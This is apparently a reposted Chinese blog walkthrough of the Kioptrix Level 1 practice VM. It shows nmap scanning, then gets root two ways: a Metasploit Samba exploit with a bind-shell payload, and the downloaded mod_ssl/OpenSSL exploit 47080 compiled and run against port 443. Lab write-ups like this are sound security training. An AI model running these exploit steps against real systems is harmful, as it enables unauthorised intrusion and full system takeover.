Kioptrix Level 1(#1)

Kioptrix Level 1(#1)

目标:Kioptrix Level 1(VMware)

攻击机:kali(192.168.43.80)

网关:192.168.43.255

#1查看Kioptrix在内网的ip地址

nmap 192.168.43.0/24 -n -sP -sn

-n 不做DNS解析
-sP ping扫描
-sn 不做端口扫描

得到ip192.168.43.36

#2查看端口开放情况(nmap)

nmap 192.168.43.36 -O -sS -sV

-O 进行系统探测
-sS 使用SYN扫描
-sV 探测开启的端口来获取服务、版本信息

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
发现有Samba和Apache OpenSSL
可以使用两种方案 Samba #3-A 和 Apache OpenSSL #3-B


#3-A 利用Samba溢出


工具:metasploit
命令:msfconsole
先search Samba

使用编号11的模块,show options 查看

设置监听模块

set PAYLOAD linux/x86/shell_bind_tcp

set rhost 192.168.43.36

配置完毕 exploit

命令whoami
返回root
溢出成功!


#3-B利用Apache OpenSSL漏洞溢出。

工具:Nikto

命令:nikto -host 192.168.43.36

发现rce
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
查找一下
searchsploit appache openssl

wget -O 47080.c https://www.exploit-db.com/download/47080

编译出现问题
使用命令apt-get install libssl1.0-dev进行安装

继续编译 gcc -o exp 47080.c -lcrypto 运行发现要找对应版本,Red-Hat/Linux Apache/1.3.20

./exp
./exp | grep apache-1.3.20

符合的有两个0x6a、0x6b,实测0x6a不能用,0x6b可以

./exp 0x6b 192.168.43.36 443

猜你喜欢

转载自blog.csdn.net/weixin_44146996/article/details/110873115